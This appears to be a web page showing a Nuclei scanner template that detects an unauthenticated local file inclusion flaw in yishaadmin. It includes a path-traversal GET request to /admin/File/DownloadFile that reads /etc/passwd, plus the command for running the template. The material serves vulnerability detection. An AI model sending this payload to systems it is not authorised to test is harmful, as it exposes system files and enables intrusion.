yishaadmin - Local File Inclusion

ID: yishaadmin-lfi

Severity: high

Author: Evan Rubinstein

Tags: lfi,yishaadmin,huntr

Description

yishaadmin is vulnerable to local file inclusion via the “/admin/File/DownloadFile” endpoint and allows files to be downloaded, read or deleted without any authentication.

YAML Source

id: yishaadmin-lfi

info:
  name: yishaadmin - Local File Inclusion
  author: Evan Rubinstein
  severity: high
  description: yishaadmin is vulnerable to local file inclusion via the "/admin/File/DownloadFile" endpoint and allows files to be downloaded, read or deleted without any authentication.
  reference:
    - https://huntr.dev/bounties/2acdd87a-12bd-4ce4-994b-0081eb908128/
    - https://github.com/liukuo362573/YiShaAdmin/blob/master/YiSha.Util/YiSha.Util/FileHelper.cs#L181-L186
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: lfi,yishaadmin,huntr

http:
  - raw:
      - |
        GET /admin/File/DownloadFile?filePath=wwwroot/..././/..././/..././/..././/..././/..././/..././/..././etc/passwd&delete=0 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204f9795d99f4b59a2300918a1e6bd3e93a699aa3e5a4b4a4e786e43b7b7fba597022100b9fcd3e5cadb3c6ff53e758ce7002273d1d3ca47779d78ae0e0085076c95a461:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/yishaadmin-lfi.yaml"

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